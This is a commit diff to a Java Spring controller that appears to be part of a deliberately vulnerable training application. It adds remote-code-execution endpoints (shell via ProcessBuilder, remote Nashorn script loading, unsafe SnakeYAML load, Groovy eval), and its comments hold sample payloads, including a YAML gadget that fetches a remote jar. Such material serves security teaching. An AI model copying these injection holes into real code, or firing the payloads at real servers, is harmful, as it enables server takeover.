11package org .joychou .controller ;
22
3+ import groovy .lang .GroovyShell ;
34import org .springframework .web .bind .annotation .GetMapping ;
45import org .springframework .web .bind .annotation .RequestMapping ;
56import org .springframework .web .bind .annotation .RestController ;
7+ import org .yaml .snakeyaml .Yaml ;
8+ import org .yaml .snakeyaml .constructor .SafeConstructor ;
69
10+ import javax .script .Bindings ;
11+ import javax .script .ScriptContext ;
12+ import javax .script .ScriptEngine ;
13+ import javax .script .ScriptEngineManager ;
714import java .io .BufferedInputStream ;
815import java .io .BufferedReader ;
916import java .io .InputStreamReader ;
1017
18+
1119/**
1220 * Java code execute
1321 *
1725@ RequestMapping ("/rce" )
1826public class Rce {
1927
20- @ GetMapping ("/exec" )
28+ @ GetMapping ("/runtime/ exec" )
2129 public String CommandExec (String cmd ) {
2230 Runtime run = Runtime .getRuntime ();
2331 StringBuilder sb = new StringBuilder ();
@@ -40,9 +48,85 @@ public String CommandExec(String cmd) {
4048 inBr .close ();
4149 in .close ();
4250 } catch (Exception e ) {
43- return "Except" ;
51+ return e .toString ();
52+ }
53+ return sb .toString ();
54+ }
55+
56+
57+ /**
58+ * http://localhost:8080/rce/ProcessBuilder?cmd=whoami
59+ * @param cmd cmd
60+ */
61+ @ GetMapping ("/ProcessBuilder" )
62+ public String processBuilder (String cmd ) {
63+
64+ StringBuilder sb = new StringBuilder ();
65+
66+ try {
67+ String [] arrCmd = {"/bin/sh" , "-c" , cmd };
68+ ProcessBuilder processBuilder = new ProcessBuilder (arrCmd );
69+ Process p = processBuilder .start ();
70+ BufferedInputStream in = new BufferedInputStream (p .getInputStream ());
71+ BufferedReader inBr = new BufferedReader (new InputStreamReader (in ));
72+ String tmpStr ;
73+
74+ while ((tmpStr = inBr .readLine ()) != null ) {
75+ sb .append (tmpStr );
76+ }
77+ } catch (Exception e ) {
78+ return e .toString ();
4479 }
80+
4581 return sb .toString ();
4682 }
83+
84+
85+ /**
86+ * http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
87+ *
88+ * curl http://xx.yy/zz.js
89+ * var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
90+ *
91+ * @param jsurl js url
92+ */
93+ @ GetMapping ("/jscmd" )
94+ public void jsEngine (String jsurl ) throws Exception {
95+ // js nashorn javascript ecmascript
96+ ScriptEngine engine = new ScriptEngineManager ().getEngineByName ("js" );
97+ Bindings bindings = engine .getBindings (ScriptContext .ENGINE_SCOPE );
98+ String cmd = String .format ("load(\" %s\" )" , jsurl );
99+ engine .eval (cmd , bindings );
100+ }
101+
102+
103+ /**
104+ * http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]]
105+ * yaml-payload.jar: https://github.com/artsploit/yaml-payload
106+ *
107+ * @param content payloads
108+ */
109+ @ GetMapping ("/vuln/yarm" )
110+ public void yarm (String content ) {
111+ Yaml y = new Yaml ();
112+ y .load (content );
113+ }
114+
115+ @ GetMapping ("/sec/yarm" )
116+ public void secYarm (String content ) {
117+ Yaml y = new Yaml (new SafeConstructor ());
118+ y .load (content );
119+ }
120+
121+ /**
122+ * http://localhost:8080/rce/groovy?content="open -a Calculator".execute()
123+ * @param content groovy shell
124+ */
125+ @ GetMapping ("groovy" )
126+ public void groovyshell (String content ) {
127+ GroovyShell groovyShell = new GroovyShell ();
128+ groovyShell .evaluate (content );
129+ }
130+
47131}
48132
0 commit comments